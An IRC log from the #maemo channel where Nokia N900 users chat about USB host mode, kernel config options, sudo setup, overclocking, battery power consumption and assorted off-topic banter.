| 00:00.25 | *** join/#maemo kalikianatoli (~kalikiana@xfce/goodies-developer/kalikiana) |
| 00:02.00 | ZogG | pizza is good |
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| 00:02.01 | ZogG | kalikianatoli, anatoli what the F is this nick name? |
| 00:02.03 | ZogG | commrades don |
| 00:02.07 | ZogG | don't like it |
| 00:02.10 | ZogG | â |
| 00:02.16 | luke-jr | ... |
| 00:02.53 | ZogG | kalikianatoli, you should change it ot kaleki anatolij =) |
| 00:03.02 | MohammadAG | heard pizza |
| 00:03.12 | MohammadAG | luke-jr, gimme gimme gimme! |
| 00:03.17 | ZogG | i liked the post about pr1.2 on maemo.org |
| 00:03.24 | kalikianatoli | ZogG, there's a cat race by the name 'anatoli' :-) |
| 00:03.27 | ZogG | nothing specific and a lot of words =) |
| 00:03.45 | ZogG | kalikianatoli, it's russian name as i know |
| 00:03.56 | ZogG | is russian btw |
| 00:04.00 | MohammadAG | privet |
| 00:04.03 | ZogG | hahah |
| 00:04.10 | ZogG | MohammadAG, not sleeping again? |
| 00:04.16 | MohammadAG | da |
| 00:04.24 | ZogG | is your name mohammad for real? |
| 00:04.29 | MohammadAG | da again |
| 00:04.32 | luke-jr | MohammadAG: NO |
| 00:04.34 | luke-jr | MINE |
| 00:04.34 | ZogG | =) |
| 00:04.50 | ZogG | xmms2> System Of A Down - Soldier Side ["Hypnotize (Retail)" 2005 Sony/BMG] |
| 00:04.51 | MohammadAG | ~torture luke-jr |
| 00:04.58 | MohammadAG | damn, it doesn't exist |
| 00:04.58 | ZogG | ~fart |
| 00:04.59 | infobot | ACTION farts, releasing large quantities of methane and sulfur dioxide. "Evacuate the channel! GO! *gag* SAVE YOURSELVES *cough* MOVE *choke* MOVE!" |
| 00:05.01 | luke-jr | infobot: botsnack |
| 00:05.01 | infobot | aw, gee, luke-jr |
| 00:05.07 | ZogG | hahaha |
| 00:05.08 | MohammadAG | oooh SoAD |
| 00:05.19 | ZogG | i just typed it - dunno why |
| 00:05.27 | MohammadAG | infobot, botsnack |
| 00:05.27 | infobot | :), MohammadAG |
| 00:05.40 | ZogG | infobot: botsnack |
| 00:05.40 | infobot | aw, gee, ZogG |
| 00:05.40 | MohammadAG | why is it smiling |
| 00:05.46 | ZogG | ~kiss |
| 00:05.51 | luke-jr | :/ |
| 00:05.53 | ZogG | !help |
| 00:05.55 | kalikianatoli | ~hug |
| 00:05.55 | infobot | ACTION hugs kalikianatoli |
| 00:06.00 | ZogG | ~help |
| 00:06.03 | kalikianatoli | ^_^ |
| 00:06.40 | ZogG | ZogG is http://ZogG.rules.the.world |
| 00:06.46 | ZogG | where can i find ZogG |
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| 00:07.01 | ZogG | meh |
| 00:07.05 | ZogG | ~karma |
| 00:07.05 | infobot | zogg has neutral karma |
| 00:07.20 | ZogG | ~unlobotomy |
| 00:07.25 | GAN900 | wonders when he got editbugs on MeeGo |
| 00:07.37 | ZogG | gansterN900 hey |
| 00:08.29 | ZogG | xmms2> System Of A Down - Atwa ["Toxicity" 2001] |
| 00:08.40 | ZogG | sticks to SoAD |
| 00:08.52 | ZogG | MohammadAG, why are you not sleeping again? |
| 00:08.52 | lcuk | waves at GAN900 |
| 00:09.02 | MohammadAG | waves at lcuk |
| 00:09.03 | lcuk | whats happening with your freebie gan |
| 00:09.26 | ZogG | is gonna talk to MohammadAG's mom about his son misbehavior |
| 00:09.38 | MohammadAG | she knows :) |
| 00:09.45 | ZogG | anyone tried plan9 or haiku? |
| 00:09.55 | MohammadAG | slaps lcuk for not waving back |
| 00:10.02 | MohammadAG | bad lcuk! |
| 00:10.07 | MohammadAG | no bacon for a week |
| 00:10.08 | ZogG | haha |
| 00:10.29 | ZogG | MohammadAG, are you keep kosher or what it's called for you? |
| 00:10.40 | lcuk | baconist |
| 00:10.40 | MohammadAG | yeah |
| 00:10.48 | ZogG | srs? |
| 00:10.52 | ZogG | but it' tasty |
| 00:11.00 | MohammadAG | never seen bacon to try it tbh |
| 00:11.11 | ZogG | but if you would have a chance? |
| 00:11.17 | MohammadAG | but it's not like your kosher |
| 00:11.25 | ZogG | i'm not - i don't care |
| 00:11.33 | MohammadAG | you don't mix too foods together afaik |
| 00:11.35 | lcuk | agrees with ZogG about telling over you MohammadAG |
| 00:11.39 | MohammadAG | well, others |
| 00:11.42 | lcuk | taking my bacon away |
| 00:11.50 | ZogG | MohammadAG, i do. |
| 00:11.52 | lcuk | waves @ MohammadAG |
| 00:11.54 | MohammadAG | lcuk, they know, my dad's awake right now :P |
| 00:12.07 | ZogG | MohammadAG, religious family? |
| 00:12.19 | MohammadAG | not a lot tbh |
| 00:12.22 | MohammadAG | moderate |
| 00:12.29 | MohammadAG | like most people these days :) |
| 00:12.33 | ZogG | you? |
| 00:12.42 | MohammadAG | moderate |
| 00:12.51 | lcuk | irc == change the topic |
| 00:13.00 | ZogG | meh - as far as i know your people are or too religious or not at all |
| 00:13.01 | MohammadAG | lol |
| 00:13.16 | ZogG | lcuk, not fighting - just interested |
| 00:13.24 | MohammadAG | kind of agrees with lcuk, we went off topic |
| 00:13.31 | MohammadAG | gives lcuk his bacon back |
| 00:13.33 | MohammadAG | happy? |
| 00:13.37 | lcuk | :D yeah |
| 00:13.40 | ZogG | and the topic is? |
| 00:13.48 | MohammadAG | Bacon |
| 00:13.54 | ZogG | how great SoAD is? |
| 00:14.06 | MohammadAG | I listen to them a lot |
| 00:14.11 | MohammadAG | call me crazy, idc :P |
| 00:14.22 | ZogG | xmms2> ××'רפ×ת - ר×× ××××©× ××××קת ס××× ×§××× ["×ש××× ×¢× ××ס×" 1999] |
| 00:14.26 | ZogG | MohammadAG, ^ |
| 00:14.41 | MohammadAG | Listening to Engadget atm, they bring up the iPhone each two minutes |
| 00:15.06 | MohammadAG | ZogG, it says 1999 |
| 00:15.06 | lcuk | yeah i throw em up when i swalow em too |
| 00:15.10 | lcuk | swallow |
| 00:15.16 | ZogG | MohammadAG,so? |
| 00:15.21 | lcuk | i learnt tho and didnt try again |
| 00:15.23 | ZogG | it's album year |
| 00:15.31 | MohammadAG | that's the only thing i understood :P |
| 00:15.43 | ZogG | you don't read henrew? |
| 00:15.47 | ZogG | hebrew? |
| 00:16.14 | ZogG | or your system is not unicode? |
| 00:16.53 | MohammadAG | i read hebrew, don't understand a word though |
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| 00:17.53 | MohammadAG | lcuk, I hit another wall today |
| 00:17.56 | MohammadAG | my exams :/ |
| 00:18.27 | lcuk | thats ok |
| 00:18.35 | MohammadAG | not really |
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| 00:18.56 | ZogG | MohammadAG, it's Giraffes - Rami is guilty for use of drugs |
| 00:19.02 | MohammadAG | learning python might be better than differentiating sinx*cosx |
| 00:19.03 | ZogG | they are really great |
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| 00:19.58 | MohammadAG | "It has IM" <-- he says that like it's awesome |
| 00:20.01 | ZogG | MohammadAG, i study engineering programming and all we do is studing all this shit |
| 00:20.11 | MohammadAG | meh |
| 00:20.17 | ZogG | tell me this |
| 00:20.50 | ZogG | i don't understand how would i need double differentials with n varies =( |
| 00:21.06 | MohammadAG | huh lol |
| 00:22.43 | ZogG | not funny |
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| 00:22.49 | ZogG | i don't understand a thing =( |
| 00:23.07 | MohammadAG | i didn't get the question |
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| 00:23.54 | ZogG | MohammadAG what question? |
| 00:24.11 | MohammadAG | doubling differentials |
| 00:24.16 | ZogG | oh |
| 00:24.28 | ZogG | you know wht is differentials ? |
| 00:24.41 | MohammadAG | yeah |
| 00:24.59 | ZogG | now think of it in 3D |
| 00:25.57 | ZogG | there is some function z with x and y and you have some boards with other functions and you need to calculate it |
| 00:28.45 | MohammadAG | not the slightest idea |
| 00:29.15 | ZogG | D{(x,y) 0â¥xâ¥y, 1â¥x²+y²â¥4} f(x,y)= xy |
| 00:29.30 | ZogG | find the differential |
| 00:29.43 | ZogG | classic one =) |
| 00:30.10 | lcuk | ZogG, its weekend, put down the equations carefully and slide them over here before taking 3 paces back |
| 00:30.18 | MohammadAG | lol |
| 00:30.41 | ZogG | =\ |
| 00:31.01 | MohammadAG | i'll stick to C1-4 |
| 00:31.36 | kalikianatoli | is that the best friend of r2d2? |
| 00:31.43 | ZogG | A4-F-5 - chess mat |
| 00:32.09 | lcuk | i dont know but i tried to parse it and hit a syntax error at ⥠|
| 00:32.13 | ZogG | i'm almost drunk - it's good =) |
| 00:32.31 | ZogG | lcuk prob you need to use >= |
| 00:32.49 | ZogG | and x^2 instead of x² |
| 00:33.24 | ZogG | lcuk, mathworld.wolfram.com/ |
| 00:33.35 | ZogG | haha |
| 00:33.38 | ZogG | your n900 sucks |
| 00:33.42 | lcuk | it doesnt |
| 00:34.00 | lcuk | i disconnected it 276 seconds ago from 3g so i could give it a local address so i could test something |
| 00:34.38 | ZogG | hmmm |
| 00:34.54 | kalikianatoli | that sounds perfectly plausible. and also happens to sound like a completely random excuse |
| 00:34.57 | ZogG | next nokia device on intel z600 |
| 00:35.31 | MohammadAG | will learn from his mistakes |
| 00:35.38 | ZogG | hha there is video of maemo on n97 |
| 00:35.45 | MohammadAG | unsubscribes from the Engadget podcast |
| 00:35.46 | lcuk | Nokia-N900:~# py_compilefiles liqbubbles2.py ; python liqbubbles2.pyc |
| 00:36.00 | MohammadAG | lcuk, is that the..? |
| 00:36.25 | luke-jr | infobot: 111111111*111111111 |
| 00:36.25 | infobot | 12345678987654320 |
| 00:38.46 | lcuk | MohammadAG, ? |
| 00:38.59 | MohammadAG | the thing you told me about yesterday |
| 00:39.25 | lcuk | http://twitter.com/lcuk/status/13510767335 |
| 00:40.12 | lcuk | im just playing with ideas - just using pyqt instead |
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| 00:40.56 | lcuk | it would help if the rendering engine was faster tho |
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| 00:43.50 | xorAxAx | what is broken when apt generates such broken output: http://paste.pocoo.org/show/211394/ - symptom: apt-get upgrade always suggests the same packages for upgrade |
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| 00:46.36 | DocScrutinizer | (<ZogG> D{(x,y) 0â¥xâ¥y, 1â¥x²+y²â¥4} f(x,y)= xy) that seems complete nonsense to me |
| 00:46.37 | kajko | whazzzup N900 peeps? |
| 00:47.14 | DocScrutinizer | 1â¥fooâ¥4 ? |
| 00:47.37 | DocScrutinizer | => 1â¥4 |
| 00:47.42 | DocScrutinizer | FALSE |
| 00:47.59 | MohammadAG | heh |
| 00:48.20 | ZogG | DocScrutinizerit's not |
| 00:48.28 | ZogG | DocScrutinizer, rit's not |
| 00:48.53 | ZogG | sorry all ⥠are ⤠|
| 00:48.58 | ZogG | all!!!! |
| 00:48.58 | DocScrutinizer | maybe in your universe |
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| 00:56.24 | DocScrutinizer | ZogG: I doubt a simple swap of ⥠and ⤠will suffice to build up all the axioms of an inverted world like yours in a consistent manner ;-P |
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| 00:58.41 | GAN900 | Alright, Andre . . . you've got a rather large screenful of text to wake up to. |
| 00:59.20 | DocScrutinizer | if we got 1>4, this implies the scalar is somewhat negative. So what's an 1*4 area's size then? also negative? |
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| 01:00.03 | DocScrutinizer | moin GAN900 |
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| 01:02.39 | DocScrutinizer | ZogG: but while wndering how you managed to create a ⤠char so naturally, I gather you have a quite good enough understanding of mathematics so I can't tell you anything new about perverted mathematic worlds |
| 01:02.56 | DangerMaus | ROFL...... threre were 7 BPexecs on the drilling rig celebratimg the rigs saftey record when the thing blew !!! |
| 01:03.10 | DangerMaus | wrongm channel |
| 01:03.11 | DocScrutinizer | MUHAHAHA |
| 01:03.11 | DangerMaus | oops |
| 01:03.23 | DocScrutinizer | nah, completely right chan |
| 01:03.43 | DangerMaus | lol |
| 01:04.49 | DocScrutinizer | wonders if there's some livestream recorded in the internets of their famous last words XP |
| 01:05.12 | DangerMaus | thy got off |
| 01:05.44 | DangerMaus | crap battery on way out |
| 01:06.55 | DocScrutinizer | (livestream) if not, someone has to fake it, and put it on youtube |
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| 01:22.49 | DocScrutinizer | MohammadAG: what's your take on the hostmode development situation ? |
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| 01:28.48 | lcuk | MohammadAG, that does make an effective busy wait indicator :D |
| 01:29.06 | MohammadAG | DocScrutinizer, egoshin's doing a good job till now, but idk, i just think he's not the one who'll fix the driver |
| 01:29.14 | MohammadAG | lcuk, lol |
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| 01:30.04 | DocScrutinizer | MohammadAG: thanks for your opinion. Matches my own thoughts |
| 01:30.21 | MohammadAG | heh :) |
| 01:30.40 | ManoftheSea | hostmode? |
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| 01:30.44 | DocScrutinizer | yup |
| 01:31.27 | ManoftheSea | what is it? |
| 01:31.35 | ManoftheSea | also, hey everyone |
| 01:33.36 | DocScrutinizer | ManoftheSea: http://talk.maemo.org/showthread.php?p=635293#post635293 |
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| 01:35.20 | DocScrutinizer | ManoftheSea: long story short: it allows to connect mice, kbds, and other arbitrary usb devices to a N900 |
| 01:36.37 | DangerMaus | aww fixed the at&t guy ran a new phone line and plgged the modem into the filtered port on the dsl filter |
| 01:36.56 | DangerMaus | and the rents have no clue |
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| 01:38.46 | MohammadAG | Night #maemo |
| 01:39.01 | GAN900 | Hey ho, DocScrutinizer. |
| 01:39.23 | DocScrutinizer | EHLO GAN900 |
| 01:39.30 | DocScrutinizer | night MohammadAG |
| 01:41.46 | ManoftheSea | DocScrutinizer: oh, to be a usb host. |
| 01:41.55 | DocScrutinizer | yep, exactly |
| 01:42.03 | lcuk | DocScrutinizer, joerg_rw is you? |
| 01:42.06 | DocScrutinizer | yes |
| 01:42.08 | lcuk | :) |
| 01:42.20 | ManoftheSea | thanks for the explanation |
| 01:42.22 | lcuk | thought so |
| 01:42.23 | DocScrutinizer | ~joerg |
| 01:42.23 | infobot | [joerg] a HW-developer and engineer of Openmoko, usually known as DocScrutinizer |
| 01:42.39 | ManoftheSea | the hardware supports it, but the drivers don't? |
| 01:43.03 | DocScrutinizer | [Whois] DocScrutinizer ist ~jr@openmoko/engineers/joerg (joerg) |
| 01:43.40 | DocScrutinizer | [Whois] DocScrutinizer51 ist ~Joerg_rw@openmoko/engineers/joerg (Joerg Reisenweber on N900 |
| 01:44.14 | DocScrutinizer | ManoftheSea: yes |
| 01:45.28 | ManoftheSea | neat. |
| 01:48.50 | lcuk | DocScrutinizer, what games did you used to play as a kid |
| 01:49.00 | lcuk | puzzles and jigsaws? |
| 01:49.11 | lcuk | or did you just start with a screwdriver and soldering iron |
| 01:49.16 | DocScrutinizer | burning my fingers with the soldering iron |
| 01:49.33 | lcuk | nods |
| 01:49.35 | lcuk | :D |
| 01:50.13 | DocScrutinizer | built my first decent circuit when I was 6 |
| 01:50.45 | DocScrutinizer | a 2-transistor blinking multivib |
| 01:50.45 | lcuk | what was that? |
| 01:50.58 | lcuk | nice |
| 01:51.07 | lcuk | remembers lessons on the 555 timer |
| 01:51.10 | DocScrutinizer | the most basic thing you can build |
| 01:51.28 | lcuk | yeah its whats inside traffic lamps |
| 01:51.30 | DocScrutinizer | nah, no 555 when I was 6 |
| 01:51.46 | DocScrutinizer | there's rarely been any silizium transistors ;-P |
| 01:53.18 | DocScrutinizer | iirc I used 2 pcs AC127 |
| 01:53.21 | lcuk | DocScrutinizer, how old are you? |
| 01:53.26 | DocScrutinizer | :X |
| 01:53.38 | lcuk | :D |
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| 01:54.03 | jaska | so old you used germanium transistors?:) |
| 01:54.26 | jaska | iirc AC prefix would mean germanium |
| 01:54.36 | DocScrutinizer | yep |
| 01:54.41 | DocScrutinizer | exactly |
| 01:55.12 | jaska | A = germanium, C = low power .. or some such, its been a while |
| 01:55.16 | jaska | or low freq |
| 01:55.22 | DocScrutinizer | low freq |
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| 01:55.47 | DocScrutinizer | AF = high freq |
| 01:55.54 | jaska | ah yeah |
| 01:55.56 | DocScrutinizer | AD = switch |
| 01:56.32 | jaska | AA = germanium diode, BA = silicon diode |
| 01:56.39 | DocScrutinizer | yep |
| 02:00.21 | lcuk | DocScrutinizer, question, could a small solar cell theoretically power a usb peripheral enough to talk back to device |
| 02:00.31 | lcuk | if we get the actual data side of things working |
| 02:02.23 | DocScrutinizer | lcuk: sure. Depends on your notion of 'small', on the sun and clouds, and of course on the power requirements of the attached device |
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| 02:02.46 | lcuk | well we run calculators on small cells |
| 02:03.10 | lcuk | im wondering how much draw one of the compasses would need |
| 02:03.33 | DocScrutinizer | less than the 200mA the N900 can provide |
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| 02:04.25 | DocScrutinizer | so no need for any solar cell |
| 02:04.25 | lcuk | DocScrutinizer, :D |
| 02:04.53 | lcuk | that would make lardman a very happy bunny :) |
| 02:05.33 | DocScrutinizer | yeah, powered hostmode is mad useful for a couple of things |
| 02:06.24 | lcuk | DocScrutinizer, indeed |
| 02:07.56 | DocScrutinizer | waaaaaAAAAAAAAAAAH!!! |
| 02:08.28 | DocScrutinizer | strace -p `pidof bme_RX-51` 2>&1 |less |
| 02:08.36 | DocScrutinizer | rebooted the device :-S |
| 02:09.14 | DocScrutinizer | .oO(???) :-O |
| 02:09.28 | GeneralAntilles | aemo.org |
| 02:09.41 | DocScrutinizer | is strace supposed to stop the traced process? |
| 02:10.13 | GeneralAntilles | Stupid Adium |
| 02:10.17 | GeneralAntilles | lcuk, what about my freebie? |
| 02:10.24 | DocScrutinizer | throws a 'm' at GeneralAntilles |
| 02:10.42 | GeneralAntilles | DocScrutinizer, tried to type talk.maemo.org into the browser, Adium stole focus halfway through. |
| 02:10.57 | DocScrutinizer | what's Adium? |
| 02:11.11 | GeneralAntilles | libpurple-based IM client for Mac. |
| 02:11.18 | DocScrutinizer | ugh |
| 02:11.33 | GeneralAntilles | ugh yourself. |
| 02:13.44 | DocScrutinizer | lol |
| 02:15.30 | DocScrutinizer | well, I got a friggin touchpad to steal the focus, and (not so) recent xorg made synclient bork, so no way to disable that shitty thing (except in bios) |
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| 04:04.14 | SimonLR | dbus call to adjust screen brightness. Is it documented or must I sniff it? |
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| 04:11.49 | SimonLR | ah nevermind. |
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| 04:31.30 | ShadowJK | New personal speed record for n900 hspa: 638269 bytes per second, averaged over a full minute. 9 kilometres (!) from the base station |
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| 04:42.06 | dotblank | So I really hope pr1.2 doesn't come soon |
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| 04:42.28 | ShadowJK | how come? |
| 04:42.37 | dotblank | I won't be able to study for exams |
| 04:42.39 | DocScrutinizer | moooooo |
| 04:43.06 | dotblank | im going to be using the QT sdk like crazy |
| 04:43.33 | DocScrutinizer | yawns |
| 04:43.42 | DocScrutinizer | ~xyawn |
| 04:43.42 | infobot | rumour has it, xyawn is nap |
| 04:44.26 | DocScrutinizer | hmmm |
| 04:44.47 | DocScrutinizer | try again ;-P |
| 04:44.49 | DocScrutinizer | ~xyawn |
| 04:44.49 | infobot | i guess xyawn is nap |
| 04:45.25 | DocScrutinizer | grr, ok I heard a coffee not more than 15min befor going to sleep is rather healthy :-D |
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| 04:48.06 | luke-jr | ~botsnack |
| 04:48.06 | infobot | :), luke-jr |
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| 05:42.19 | Stskeeps | morning |
| 05:45.25 | Xisdibik | heya Stskeeps |
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| 06:04.03 | DocScrutinizer | moo's at Stskeeps |
| 06:04.23 | raster | wobbles @ DocScrutinizer |
| 06:04.29 | raster | jiggles @ Stskeeps |
| 06:04.38 | DocScrutinizer | :-D |
| 06:04.45 | jaska | zoo |
| 06:06.06 | DocScrutinizer | friggin driver mess |
| 06:08.07 | DocScrutinizer | fails to understand why http://mxr.maemo.org/fremantle/source/kernel has drivers for a whole zoo of hardware that never will see a maemo OS |
| 06:08.45 | DocScrutinizer | yawns ecstatically |
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| 06:09.07 | Stskeeps | DocScrutinizer: it's the linux kernel? .. |
| 06:09.07 | Stskeeps | :P |
| 06:09.10 | DocScrutinizer | ~seen jebba |
| 06:09.12 | infobot | jebba <~jebba@Ploegsma.cwx.net> was last seen on IRC in channel #maemo, 4d 12h 17m 46s ago, saying: 'i dont do maemo stuff for weeks, go to do something, and its down..... pfft.'. |
| 06:09.46 | DocScrutinizer | linux kernel, pfff *burp* |
| 06:10.56 | DocScrutinizer | some people throw all the rocks into a box unsorted, and then call that cleaning up |
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| 06:13.32 | DocScrutinizer | tbh I understand the concept, but I can't say I appreciate it too much |
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| 06:20.25 | Tuukka | Hey, here again to ask some advices about linux =) |
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| 06:22.25 | Tuukka | Every time i start up i need to "load/start" drivers with: "sudo modprobe ndiswrapper" to get WLAN working. I have allready created a desktop icon to execute that command, but it would be nice that it would happen automatically on startup. Any way to do this? |
| 06:23.19 | pgas | <PROTECTED> |
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| 06:24.51 | pgas | or modprobe.conf maybe |
| 06:26.39 | Tuukka | pas, i'll look into those. Thanks! |
| 06:26.59 | Tuukka | pgas* ^^' |
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| 06:29.57 | ShadowJK | wonders if linux still has a driver for ethernet and scsi on his old compaq prosignia vs |
| 06:30.01 | ShadowJK | VLB :D |
| 06:30.11 | ShadowJK | last kernel I tried was 2.4 and required some hacking |
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| 06:32.41 | DocScrutinizer | Definitely time for a nap, edited last post 5 times :-S |
| 06:33.40 | DocScrutinizer | even forgot about the concept of function pointers/callback |
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| 06:35.05 | DocScrutinizer | ShadowJK: do you know the CONFIG_* of our standard kernel? |
| 06:35.40 | DocScrutinizer | particularly if there's 209 #ifdef CONFIG_USB_MUSB_HDRC_HCD |
| 06:36.11 | ShadowJK | uhh... I don't know it, but to find out, I'd follow the kernel guide for maemo5 to find the right sources, and then look at defconfig_rx51 or something like that |
| 06:36.38 | DocScrutinizer | ponders while yawning |
| 06:37.06 | DocScrutinizer | nah, goodnite #maemo |
| 06:37.52 | ShadowJK | heh, I just managed to switch away from that dayrhythm :P |
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| 06:39.43 | Tuukka | pgas, Using the /etc/rc.local worked nicely. Thanks. Anyway to avoid typing the password needed for sudo? |
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| 06:45.14 | Tuukka | Allready found out, i'll just use sudo -s |
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| 07:08.00 | DocScrutinizer | sighs |
| 07:08.07 | Stskeeps | can't sleep? |
| 07:08.39 | DocScrutinizer | nah, #ifdef CONFIG_USB_MUSB_HDRC_HCD keeps me spinning |
| 07:09.29 | DocScrutinizer | Stskeeps: any pointer to defconfig_rx51? |
| 07:10.08 | Stskeeps | hmm? |
| 07:10.20 | DocScrutinizer | or maybe you even know if the standard kernel is compiled with CONFIG_USB_MUSB_HDRC_HCD ? |
| 07:11.03 | Stskeeps | arch/arm/configs/rx51_defconfig? :P |
| 07:11.18 | DocScrutinizer | lemme see if I find it |
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| 07:13.34 | DocScrutinizer | /rx51_defconfig |
| 07:13.35 | DocScrutinizer | <PROTECTED> |
| 07:13.41 | Stskeeps | heh |
| 07:13.41 | Stskeeps | eh |
| 07:13.58 | Stskeeps | where are you looking? :P |
| 07:14.08 | DocScrutinizer | http://mxr.maemo.org/fremantle/search?string=/rx51_defconfig®exp=on |
| 07:14.50 | Stskeeps | i'm sure it's in the kernel source. |
| 07:14.52 | Stskeeps | 100%. |
| 07:14.52 | Stskeeps | :P |
| 07:15.34 | DocScrutinizer | hmm |
| 07:15.54 | DocScrutinizer | so a FQN would help a lot |
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| 07:17.52 | DocScrutinizer | at http://mxr.maemo.org/fremantle/source/ I'm lost |
| 07:18.14 | DocScrutinizer | no arch, no arm, no configs |
| 07:18.52 | ShadowJK | http://mxr.maemo.org/fremantle/source/kernel/arch/arm/configs/rx51_defconfig |
| 07:19.08 | DocScrutinizer | blarg *kernel* |
| 07:19.11 | DocScrutinizer | idiot |
| 07:19.34 | Stskeeps | no coffee |
| 07:19.35 | Stskeeps | :P |
| 07:19.44 | DocScrutinizer | ShadowJK: thanks mate |
| 07:19.52 | DocScrutinizer | Stskeeps: no sleep |
| 07:21.33 | DocScrutinizer | hmmpf, 1440 CONFIG_USB_MUSB_HDRC_HCD=y |
| 07:22.22 | DocScrutinizer | ponters about 1436 # CONFIG_USB_MUSB_HOST is not set |
| 07:22.36 | DocScrutinizer | ponders even |
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| 07:33.16 | DocScrutinizer | ok, definitely n8 :-) |
| 07:37.13 | frals | chem|st: pong |
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| 07:43.15 | Tuukka | I'd like to add a rule to sudoers in which operator is allowed to execute "sudo modprobe ndiswrapper", without password. What exactly am i supposed to add into the sudoers file? |
| 07:43.44 | Tuukka | Could somebody point me to a tutorial? |
| 07:44.54 | wazd | hello people |
| 07:45.17 | hemi770 | Tuukka: could try this - http://www.go2linux.org/sudoers-how-to |
| 07:46.23 | BillK | where does the n900 keep its desktop files? - or doesnt it use any? |
| 07:46.29 | hemi770 | i was wondering if anyone knew how i can get /usr/sbin/arp on the n900 |
| 07:46.40 | hemi770 | it's not in busybox or net-tools |
| 07:47.06 | Tuukka | hemi770, allready looked into that, but there's no add a single command. You can only point it to some file. Should i create a file with only the command? |
| 07:48.35 | hemi770 | i'd appreciate it Tuukka |
| 07:49.16 | hemi770 | if you could share how you make such a file that would be cool |
| 07:50.53 | Tuukka | i'll see if i can find something |
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| 07:59.57 | johnsu01 | hm, the n900 default recent call list doesn't show the duration of calls... is there anything that does? |
| 08:00.11 | johnsu01 | this "extended call log" application doesn't seem to either |
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| 08:31.35 | aspidites | i just changed the naming scheme on my package so the autobuilder rejects it. who should I contact to get the old package removed? |
| 08:31.48 | MohammadAG | X-Fade, |
| 08:31.52 | MohammadAG | -, |
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| 08:33.18 | __a | hi guys, i'm getting "Invalid FIASCO header" while trying to flash my N900 from OSX, any tips on where what to do? |
| 08:33.43 | MohammadAG | check the MD5sum of the image |
| 08:34.36 | __a | i dont have the sums, but tried downloading several times and several different kernels :S |
| 08:34.47 | __a | http://maemobriefs.blogspot.com/2010/04/how-to-overclock-your-n900s-cpu-over.html |
| 08:34.52 | MohammadAG | err, kernels? |
| 08:35.00 | __a | sorry, images |
| 08:35.03 | MohammadAG | those aren't fiascos... |
| 08:35.43 | __a | ah, -F flag is for fiasco.. ok feeling stupid now |
| 08:36.02 | __a | i was merging several howtos hehe |
| 08:36.09 | __a | thanx! |
| 08:37.38 | MohammadAG | you do realize this halves your lifetime |
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| 08:37.41 | Jaffa | Morning, all |
| 08:37.54 | MohammadAG | or even reduces it to prolly 6 months, or even less |
| 08:37.58 | MohammadAG | Morning Jaffa |
| 08:38.13 | __a | MohammadAG: im just looking to do some undervolting |
| 08:38.20 | __a | to increase battery life |
| 08:38.29 | __a | not run @800mHz |
| 08:38.35 | jacekowski | apparently i've read that it doesn't help |
| 08:38.40 | MohammadAG | hmm, undervolting might redue stability |
| 08:38.44 | MohammadAG | c* |
| 08:38.55 | MohammadAG | damn sdk 1.2 hildon-input-method |
| 08:38.56 | jacekowski | and running it at lower speed even makes it worse |
| 08:39.01 | MohammadAG | indeed |
| 08:39.05 | jacekowski | MohammadAG: damn hildon input method |
| 08:39.10 | RST38h | Transdickification galore! |
| 08:39.12 | MohammadAG | lol |
| 08:39.13 | jacekowski | MohammadAG: that was source of all my problems |
| 08:39.29 | MohammadAG | jacekowski, apparently they made it type symbols by holding a key |
| 08:39.34 | MohammadAG | that annoys me... |
| 08:39.52 | __a | ok? undervolting at 600mHz has been reported to like double battery life according to maemosweden? |
| 08:40.01 | MohammadAG | ha |
| 08:40.11 | RST38h | what is maemosweden? |
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| 08:40.15 | jacekowski | __a: and it will improve your sex life by 300% |
| 08:40.22 | __a | awsome |
| 08:40.22 | MohammadAG | rofl |
| 08:40.27 | __a | ill get right to it then |
| 08:40.31 | RST38h | jacekowski: In Sweden it will, I am sure... |
| 08:41.19 | __a | http://www.meegosweden.com/alla-bloggar/sandman-bloggar/153-oeverklocka-din-n900-och-fa-baettre-batteri-pa-koepet |
| 08:41.34 | MohammadAG | swedish.. |
| 08:41.52 | __a | freely translated: "..stay at 600mhz and get more than twice the battery life" |
| 08:41.59 | __a | last sentence |
| 08:42.13 | RST38h | and are there any statistics? |
| 08:42.38 | MohammadAG | probably not |
| 08:42.58 | MohammadAG | tbh I think most blogs talk from their arss :P |
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| 08:44.01 | __a | ive seen a few graphs, noting certain though, thats why i want to try for myself :P |
| 08:44.02 | jacekowski | __a: cpu is only small part of energy consumption |
| 08:44.40 | jacekowski | by all estimates it's lcd backlight that uses the most |
| 08:44.59 | jacekowski | and then probably all wireless comms |
| 08:45.06 | MohammadAG | so killing the LCD helps? :p |
| 08:45.15 | jacekowski | yes |
| 08:45.36 | MohammadAG | would the N900 boot up without an LCD? |
| 08:45.42 | jacekowski | no |
| 08:45.46 | Stskeeps | wouldn't bet on it |
| 08:45.47 | __a | yeah, i already got that app for killing idle connections |
| 08:46.13 | jacekowski | __a: everything is sleeping anyways |
| 08:46.37 | jacekowski | it's when phone is working consumption is highest |
| 08:46.43 | __a | yes, ofc |
| 08:47.05 | jacekowski | LCD working |
| 08:47.10 | jacekowski | CPU working at full speed |
| 08:47.17 | jacekowski | radio transmitting |
| 08:48.14 | MohammadAG | route it to a BT headset to increase consumption |
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| 08:48.24 | Termana | hello |
| 08:48.32 | MohammadAG | or actually, it might not be a significant difference |
| 08:48.37 | MohammadAG | hi Termana |
| 08:48.56 | __a | jacekowski, MohammadAG: so youre saying its perfect the way it is? :P |
| 08:50.56 | MohammadAG | 600000 550000 500000 250000 |
| 08:51.05 | MohammadAG | all @ stock V |
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| 08:54.13 | __a | MohammadAG: whats your take on the 125-step for idle? |
| 08:54.52 | MohammadAG | also unstable |
| 08:55.54 | __a | istnt all of this depending on my batch? |
| 08:56.24 | SpeedEvil | http://wiki.maemo.org/N900_Hardware_Power_Consumption |
| 08:56.27 | SpeedEvil | some actual numbers |
| 08:56.33 | MohammadAG | well, it needs more time to wake up, thus reducing battery life |
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| 08:58.48 | MohammadAG | any numbers for WLAN on w/ powersave? |
| 08:59.18 | __a | "Wifi on with maximum powersaving. +~2mA " |
| 08:59.22 | SpeedEvil | yes - see above |
| 09:00.00 | SpeedEvil | 2mA = 2/1200th battery use use per hour |
| 09:00.15 | MohammadAG | 200mA w/o PSM and 2mA with? |
| 09:00.25 | MohammadAG | wow, that's 1 big difference |
| 09:00.37 | SpeedEvil | it's huge, yes |
| 09:01.16 | SpeedEvil | umm |
| 09:01.23 | SpeedEvil | I don't recall measuring without psm |
| 09:01.30 | SpeedEvil | the large numbers at the end are for 3g |
| 09:02.57 | MohammadAG | WLAN on - no powersave - 200mA |
| 09:03.11 | SpeedEvil | oh - I can't read |
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| 09:03.36 | SpeedEvil | Just woken up, I need my morning coffee. |
